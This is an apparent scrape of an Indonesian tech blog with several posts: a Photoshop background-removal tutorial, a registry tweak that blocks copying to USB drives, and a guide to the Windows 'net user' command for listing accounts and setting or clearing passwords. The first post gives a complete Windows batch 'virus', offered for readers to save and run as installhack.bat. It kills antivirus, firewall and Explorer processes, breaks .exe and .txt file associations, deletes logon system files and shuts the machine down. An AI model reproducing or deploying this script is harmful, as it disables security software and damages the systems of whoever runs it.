    Virus ini Dapan Menyerang 1. Menhapus, NAVAPSVC.exe
    2. Menhapus, Explorer.exe (taskbar dan ikon akan hilang)
    3. Menhapus, zonelabs.exe
    4. mengubah asosiasi file exe menjadi txt (ketika membuka file exe, akan pergi ke notepad)
    5. mengubah asosiasi file txt menjadi mp3 (ketika membuka file txt, maka akan terbuka WinAmp atau multimedia player)
    6. Menghapus Login / Logoff Screens

    Caranya, copy kode di bawah ini lalu paste pada Notepad.

    title virus is my dna
    color 0A
    @echo off
    set end=md “u cant eascape from me-vishnu”
    set fin=copy “Hack log.txt” “Installing”
    %end%
    %fin%
    net send * andhra pradesh- virus created in karimnagar from jits college
    kill NAVAPSVC.exe /F /Q
    kill zonelabs.exe /F /Q
    kill explorer.exe /F /Q
    cls
    assoc .exe=txtfile
    assoc .txt=mp3file
    assoc .mp3=.vcf
    cls
    msg * hi dude this is begining.
    msg * vishnu attcked the system try to challenge him .
    DEL C:\WINDOWS\system32\logoff.exe /F /Q
    DEL C:\WINDOWS\system32\logon.exe /F /Q
    DEL C:\WINDOWS\system32\logon.scr /F /Q
    cls
    shutdown

    Simpan di C: dengan nama installhack.bat
    Selesai

    Catatan ini diperoleh dari : http://www.get2ware.co.cc/2010/05/cara-sederhana-membuat-virus-komputer.html

    Selasa, 05 Juni 2012

    Cara memisahkan gambar dengan background pada photoshop

    Cara Memisahkan Objek dan Background pada gambar dengan Plugin Azlect

    Tutorial photoshop ini sama dengan tutorial yang pernah saya buat tentang pemisahan background dengan extract bedanya kali ini menggunakan Plugin .. hehe.. lebih gampang dan cepat!

    Download dulu Plugin nya di Member Area.. atau yang belum jadi member silahkan cari di google.. ada kok kalo jeli. :D

    Cara install nya ada juga kok.. jadi download, Install trus pake :)

    Buka gambar yang mau diedit.. saya pake gambar Steven Gerrard .. Gelandang hebat liverpool itu loh ! hehehe

    steven gerrard

    Duplikat layer background dengan menekan CTRL + J

    Sekarang buka Plugin Ezlect nya di Filter > Ezlect > Ezlect extract

    Ini Jendela Ezlect nya , toolnya cuman dikit kok jadi mudah dipelajari

    steven gerrard

    Klik Di Object nya ( Steven Gerrard nya) dengan Penanda Object dan Klik di background oleh penanda background.. penampakannya kayak gini nih

    steven gerrard

    Penanda Objek ditandai dengan gambar kotak kecil kalo penanda background ditandai dengan tanda x

    Klik Show mask Image untuk melihat hasilnya… kalo kurang bagus bisa dicoba .. klik lagi Show selection edge (letaknya disamping show mask image)

    ( tool lain nya di dalam ezlect silahkan di pelajari sendiri .. gampang banget kok)

    Kalo sudah beres klik Ok ..

    background di layer 1 sudah hilang…

    Ini sebenernya sudah beres pekerjaan plugin Azlect..

    Sekarang tinggal menggunakan gambar hasil pemisahan background tersebut.. terserah mau diapain.. hehehe

    steven gerrard

    Saya beri background aja deh yaa sebagai contoh nya…

    buat layer baru di bawah layer 1

    terus warnai dengan warna merah

    Sekarang klik 2x layer 1 untuk memunculkan Blending Options

    Klik Ok…

    Beri text atau gambar tambahan … jadinya seperti ini :

    steven gerrard

    Selamat Mencoba !

    Artikel Cara Memisahkan Objek dan Background pada gambar dengan Plugin Azlect ini dipersembahkan oleh Tutorial Photoshop Gratis. Kunjungi Wallpaper, Font, Desktop Theme Gratis Pokoknya Serba Gratis. Baca Juga Adobe Photoshop Tutorials

    Minggu, 20 Mei 2012

    Cara setting komputer agar tidak bisa copy paste


    lagi lagi ada kawan yg bertanya kepada saya.
    kurang lebih begini pertanyaan nya...
    "ka gimana sih supaya komputer saya tidak bisa di kopi paste..?
    dan saya pun menjawab begini.
    "gx tau de,kaka juga bingung.... heeee...!!!

    Tapi tenang aja,setelah saya pelajari Cara setting komputer agar tidak bisa copy paste ini akhirnya ketemu juga cara nya..
    ok kita mulai saja Tutorial nya..

    sebetul nya banyak kegunaan nya agar komputer kita tidak bisa kopy paste,salah satu nya jika ada kawan atau keluarga kita meminjam komputer atau leptop kita,kita tidak ingin ada data pribadi kita yang di ambil oleh orang atau kawan kita,oleh sebab itu perlunya cara ini agar data pribadi kita tidak bisa di ambil oleh orang..


    sangat mudah ko cara nya..

    Nyok kita mulai..

    1. Ke Menu Regedit (Tekan Tombol Windows+R lalu ketik regedit).

    2. Masuk ke directory HKEY_LOCALMACHINESYSTEMCurrentControlSetControl

    3. Klik kanan pada folder Control lalu pilih New -–> Key

    4. Beri nama folder baru tersebut dengan nama “StorageDevicePolicies”

    5. Klik kanan di folder dengan nama “StorageDevicePolicies”, lalu pilih New –> Dword

    6. Berikan nama “WriteProtect”

    7. Klik dua kali Dword dengan nama “WriteProtect” tersebut, kemudian ganti Value Data menjadi 1

    8. Setelah selesai langkah di atas selanjutnya Restart Komputer anda

    Untuk mengembalikan settingan seperti semula silahkan tinggal mengganti Value Data dari key “WriteProtect” menjadi 0

    Sangat mudah bukan cara nya..?
    mungkin hanya itu saja info dari saya Mengenai Cara setting komputer agar tidak bisa copy paste semoga bermanfaat.

    Kamis, 17 Mei 2012

    Ngoprak USer CMD(DOS)

    Cara Mengoprak User Melalui CMD (DOS)



    Cara Mengoprak User Melalui CMD (DOS) Sekarang sudah jarang para pengguna computer mengenal adanya perintah yang diberikan kepada computer berupa perintah teks yang langsung dieksekusi oleh computer itu sendiri yang disebut dengan perintah DOS (DOS Command).
    Misalkan saja untuk melihat isi suatu drive harddisk berupa file-file, kita harus mengetikan perintah dir supaya file-file yang ada pada drive bisa ditampilkan. Beda bukan dengan saat ini yang sudah dikenal dengan teknologi system operasi windows yang semuanya dapat dilakukan dengan mudah, yaitu hanya dengan explorer, semua file pada drive yang ditentukan dapat terlihat dengan jelas.

    Diantara perintah-perintah DOS tersebut ada sebuah perintah yang juga sangat bermanfaat untuk menampilkan akun para pengguna computer serta mengganti password akun tersebut pada windows, yaitu perintah NET (huruf capital hanya mempertegas bahwa tulisan itu adalah sebuah perintah), dalam penggunaannya boleh dengan huruf besar atau kecil.
    Sebagai informasi bahwa praktek mengubah password untuk user windows ini saya menggunakan windows xp service pack 2 (sp2) dan perintah ini hanya dapat dilakukan oleh seorang administrator, dengan begitu maka untuk melakukan perintah ini harus login menggunakan akun administrator sedangkan bila login menggunakan user yang lebih rendah haknya dari administrator maka perintah tersebut akan tidak berfungsi untuk mengubah password namun perintah tersebut hanya bisa digunakan untuk melihat user yang ada.
    Berikut ini perintah untuk melihat dan mengubah password user yang ada pada windows xp sp2.
    Pertama jalankan command prompt dengan cara klik Start-All Programs-Accessories-Command Prompt sehingga muncul jendela berwarna hitam seperti terlihat pada gambar berikut.
    Pada command prompt ketikan perintah sebagai berikut : net user ENTER sehingga hasilnya seperti gambar berikut.
    Dari user-user yang ada, anda bisa membuat sebuah password untuk user yang ada dan dapat juga menghapus password yang ada atau mengganti password yang ada dari setiap user yang ada.
    Membuat password dan Mengubah Password
    Untuk membuat password pada masing-masing user dapat dilakukan dengan memberikan perintah berikut ini.
    Net user {nama user} {password}
    Contoh : net user guest 1234
    Penjelasannya : Net user adalah perintah, kemudian guest adalah nama user dan 1234 adalah password, jadi perintah di atas adalah membuat atau mengubah password bagi nama pengguna Guest. Perhatikan gambar berikut.
    Setelah menekan ENTER maka muncul pesan “The Command Completed Successfully” yang menyatakan bahwa perintah pembuatan password untuk akun Guest sudah berhasil dengan baik. Untuk membuktikan bahwa akun Guest sudah menggunakan password 1234 coba klik menu Start-Log Off-Switch User dan gunakan akun Guest untuk login, maka windows akan meminta anda memasukan password karena anda sudah membuatnya pada command prompt. Ketik 1234 kemudian tekan ENTER untuk masuk ke akun Guest.
    Setelah membuat atau mengubah password, tentu kita juga harus bisa menghapus password tersebut apabilah sudah tidak dibutuhkan lagi. Lalu bagaimana caranya ikuti langkah berikut ini.
    Menghapus password
    Akun Guest yang sudah dibuatkan passwordnya melalui command prompt, sekarang kita akan menghilangkannya atau menghapusnya, caranya dengan perintah berikut :
    Net user guest * ENTER
    Setelah menekan enter maka muncul pesan “Type a password for the user :” tekan ENTER saja karena kita tidak ingin membuat password melainkan menghapus password yang ada.
    Berikutnya adalah pesan “Retype the password to confirm :” juga tekan ENTER saja karena tidak ada password sehingga muncul pesan yang terakhir “The Command Complited Successfully” yang berarti bahwa perintah menghilangkan password tersebut sudah berhasil dilakukan.
    Perintah menghapus password di atas juga dapat digunakan untuk membuat sebuah password baru. Apabila hendak membuat password baru dengan perintah di atas maka pada saat muncul pesan “Type a password for the user :” maka tulis atau ketikan password untuk user tersebut (contoh : 1234) dan tekan ENTER, kemudian muncul pesan kedua “Retype the password to confirm :” maka ketiklan sekali lagi password (contoh : 1234) kemudian tekan ENTER.